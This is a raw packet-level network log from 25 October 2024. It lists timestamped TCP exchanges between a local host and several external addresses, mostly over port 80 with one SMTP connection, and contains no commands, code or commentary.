Oct 25, 2024 11:18:16.782749891 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.782800913 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.782830000 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.782830000 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.782835007 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.782870054 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.782871962 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.782918930 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.782921076 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.782949924 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.782957077 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.782993078 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783020020 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.783026934 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783056021 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.783066034 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783130884 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783159971 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.783191919 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.783392906 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783446074 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783476114 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.783479929 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783513069 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.783514977 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783711910 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783740044 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.783765078 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783816099 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783821106 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.783821106 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.783849001 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783871889 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.783885002 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.783911943 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.784039974 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.784200907 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.784254074 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.784282923 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.784288883 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.784322977 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.784353971 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.784357071 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.784390926 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.784419060 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.784425020 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.784450054 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.784459114 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.784485102 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.784492016 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.784518957 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.784528971 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.784554958 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.784765005 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.784984112 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.785037041 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.785064936 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.785073042 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.785123110 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.785150051 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.785157919 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.785212994 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.785243034 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.785288095 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.785324097 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.785346985 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.785356998 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.785383940 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.785392046 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.785430908 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.785456896 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.785948038 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.786063910 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.786097050 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.786097050 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.786132097 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.786159039 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.786165953 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.786200047 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.786231041 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.786235094 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.786298990 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.788578987 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.788795948 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.813472033 CEST	53024	25	192.168.2.5	87.248.97.31
Oct 25, 2024 11:18:16.829781055 CEST	80	53004	213.186.33.40	192.168.2.5
Oct 25, 2024 11:18:16.832032919 CEST	53004	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:18:16.888267040 CEST	80	53013	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:16.893728971 CEST	53013	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:16.899940014 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.899996996 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900065899 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900100946 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900130987 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.900135040 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900163889 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.900171041 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900198936 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.900222063 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900249958 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.900274038 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900324106 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900352001 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.900357008 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900465012 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900499105 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.900501013 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900536060 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900566101 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.900573015 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900625944 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900652885 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.900679111 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900713921 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900743961 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.900751114 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900784969 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900815964 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.900819063 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900852919 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900882006 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.900890112 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900923967 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900949955 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.900957108 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.900990963 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901012897 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901012897 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901022911 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901052952 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901060104 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901093006 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901125908 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901154995 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901159048 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901185036 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901191950 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901226044 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901254892 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901258945 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901293993 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901320934 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901326895 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901365995 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901392937 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901398897 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901439905 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901465893 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901473999 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901525021 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901551962 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901576996 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901609898 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901637077 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901643038 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901700020 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901748896 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901751041 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901799917 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901827097 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901833057 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901869059 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901896954 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901901960 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901936054 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.901963949 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.901968956 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902004004 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902044058 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902050972 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902086020 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902112007 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902118921 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902151108 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902179956 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902184963 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902220011 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902251959 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902252913 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902286053 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902312994 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902345896 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902395964 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902422905 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902430058 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902463913 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902493000 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902514935 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902549982 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902575970 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902582884 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902633905 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902667046 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902669907 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902704000 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902730942 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902736902 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902770042 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902798891 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902801991 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902837038 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902869940 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902898073 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902903080 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902931929 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.902937889 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.902971983 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903003931 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.903003931 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903039932 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903069973 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.903074026 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903110027 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903137922 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.903142929 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903179884 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903207064 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.903213978 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903249025 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903270006 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.903297901 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903351068 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903383970 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.903383970 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903419971 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903448105 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.903455019 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903489113 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903517008 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.903522968 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903558969 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.903588057 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.906594038 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.921900988 CEST	80	53013	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:16.924568892 CEST	53013	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:16.936585903 CEST	53013	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:16.941983938 CEST	80	53013	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:16.955492020 CEST	80	53010	89.161.163.246	192.168.2.5
Oct 25, 2024 11:18:16.957679033 CEST	53010	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:16.969383955 CEST	80	53011	85.131.197.10	192.168.2.5
Oct 25, 2024 11:18:16.972268105 CEST	53011	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:18:17.013344049 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013401031 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013432980 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013484955 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013534069 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013567924 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013601065 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.013619900 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013650894 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.013654947 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013686895 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.013689041 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013716936 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.013725042 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013755083 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013783932 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.013804913 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013839960 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013868093 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.013891935 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013942957 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.013972998 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.013993979 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014031887 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014115095 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.014142036 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014175892 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014209986 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014210939 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.014244080 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014272928 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.014432907 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014461994 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014487028 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.014496088 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014529943 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014559031 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.014564037 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014609098 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014636040 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.014642954 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014679909 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014709949 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014709949 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.014744997 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014779091 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.014780998 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014815092 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.014816046 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014866114 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014885902 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.014900923 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014920950 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.014935970 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.014961004 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.014971972 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015006065 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.015023947 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015029907 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.015060902 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015095949 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015129089 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015157938 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.015163898 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015197039 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015223980 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.015232086 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015265942 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015295029 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.015300989 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015360117 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015389919 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.015397072 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015429974 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015458107 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.015464067 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015497923 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015527010 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.015531063 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015564919 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015592098 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.015599012 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015631914 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.015660048 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.015666962 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.016051054 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:17.016086102 CEST	80	53019	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.021228075 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021260977 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021271944 CEST	53019	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.021296024 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:17.021318913 CEST	53001	80	192.168.2.5	23.227.38.74
